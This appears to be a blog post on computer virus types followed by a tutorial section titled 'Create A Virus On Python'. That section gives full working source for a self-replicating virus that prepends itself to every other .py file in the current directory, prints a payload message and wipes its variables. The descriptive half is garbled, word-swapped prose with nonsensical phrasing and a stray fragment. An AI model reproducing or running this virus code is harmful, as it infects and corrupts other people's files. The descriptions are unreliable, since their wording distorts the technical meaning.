Types Of Virus Cybersecurity Penetration Create A Virus On Python

 Types Of Virus





A virus is a fraction of code embedded in a legitimate software program. Viruses are self-replicating and are designed to infect distinct packages. They can wreak havoc on a tool via modifying or destroying files causing device crashes and software malfunctions. On attaining the purpose machine an endemic dropper(typically a bug) inserts the virus into the tool. 

For greater facts, talk over this. 

Various sorts of viruses: 

File Virus: 

This type of virus infects the system by using the manner of appending itself to the surrender of a record. It adjusts the start of an application in order that the control jumps to its code. After the execution of its code, the manager returns back to the principal software program. Its execution isn't always even located. It is also referred to as a Parasitic virus because it leaves no record intact but additionally leaves the host realistic.

 

Boot place Virus: 

It infects the boot quarter of the device, executing every time device is booted and earlier than the working tool is loaded. It infects distinctive bootable media like floppy disks. These also are known as reminiscence viruses as they do now not infect the document structures. 


Macro Virus: 

Unlike most viruses which are written in a low-degree language(like C or meeting language), those are written in an excessive-degree language like Visual Basic. These viruses are brought on at the same time as software capable of executing a macro is run. For instance, the macro viruses may be contained in spreadsheet documents.

 

Source code Virus: 

It appears to deliver code and modifies it to consist of virus and to assist unfold it.

 

Polymorphic Virus: 

A virus signature is a sample that can become aware of a virus(a chain of bytes that make up virus code). So with the intention to avoid detection through antivirus a polymorphic virus changes each time it's far set up. The capability of the virus stays the same however its signature is modified.

 

Encrypted Virus: 

In order to keep away from detection thru antivirus, this sort of virus exists in encrypted shape. It incorporates a decryption algorithm the facet of it. So the virus first decrypts and then executes.

 

Stealth Virus: 

It is a very difficult virus as it adjusts the code that may be used to stumble on it. Hence, the detection of viruses becomes very tough. For example, it can alternate the look at device name such that on every occasion the consumer asks to look at a code changed through a virus, the particular shape of code is proven as opposed to the inflamed code.

 

Tunneling Virus: 

This virus tries to pass detection via an antivirus scanner through putting in itself inside the interrupt handler chain. Interception applications, which live in the historical past of an operating system and capture viruses, grow to be disabled at some level inside the path of a tunneling virus. Similar viruses install themselves in device drivers.

 

Multipartite Virus: 

This form of the virus is capable of infecting more than one element of a device which includes the boot place, memory, and documents. This makes it hard to stumble on and consist of.

 

Armored Virus: 

An armored virus is coded to make it hard for antivirus to get to the bottom of and apprehend. It makes use of diffusion of techniques to attain this like fooling antivirus to agree that it lies some vicinity else than its real vicinity or the usage of compression to complicate its code.

 

Browser Hijacker: 

As the decision shows this virus is coded to purpose the user’s browser and might modify the browser settings. It is likewise called the browser redirect virus as it redirects your browser to different malicious internet websites which could damage your pc gadget.

Resident Virus:

           

Resident virus set up shops for your RAM and meddle together alongside your tool operations. They’re so sneaky that they may even join themselves to your anti-virus software application software files.

Form. It incorporates a decryption set of rules. So the virus first decrypts and then executes.


Create A Virus On Python


 1# begin-virus

 2

 3 import glob

 4

 5 def find_files_to_infect(directory = "."):

 6    return [file for file in glob.glob("*.py")]

 7

 8 def get_content_of_file(file):

 9    data = None

10    with open(file, "r") as my_file:

11        data = my_file.readlines()

12

13    return data

14

15 def get_content_if_infectable(file):

16    data = get_content_of_file(file)

17    for line in data:

18        if "# begin-virus" in line:

19            return None

20    return data

21

22 def infect(file, virus_code):

23    if (data:=get_content_if_infectable(file)):

24        with open(file, "w") as infected_file:

25            infected_file.write("".join(virus_code))

26            infected_file.writelines(data)

27

28 def get_virus_code():

29

30    virus_code_on = False

31    virus_code = []

32

33    code = get_content_of_file(__file__)

34

35    for line in code:

36        if "# begin-virus\n" in line:

37            virus_code_on = True

38

39        if virus_code_on:

40            virus_code.append(line)

41

42        if "# end-virus\n" in line:

43            virus_code_on = False

44            break

45

46    return virus_code

47

48 def summon_chaos():

49    # the virus payload

50    print("We are sick, fucked up and complicated\nWe are chaos, we can't be cured")

51

52# entry point 

53

54 try:

55    # retrieve the virus code from the current infected script

56    virus_code = get_virus_code() 

57

58    # look for other files to infect

59    for file in find_files_to_infect():

60        infect(file, virus_code)

61

62    # call the payload

63    summon_chaos()

64

65# except:

66#     pass

67

68 finally:

69    # delete used names from memory

70    for i in list(globals().keys()):

71        if(i[0] != '_'):

72            exec('del {}'.format(i))

73

74    del i

75

76# end-virus

77# numbers.py

78

79 import random

80

81 random.seed()

82

83 for _ in range(10):

84  print (random.randint(0,100))

END

Cybersecurity Team PK

Cybersecurity Team

Post a Comment

0 Comments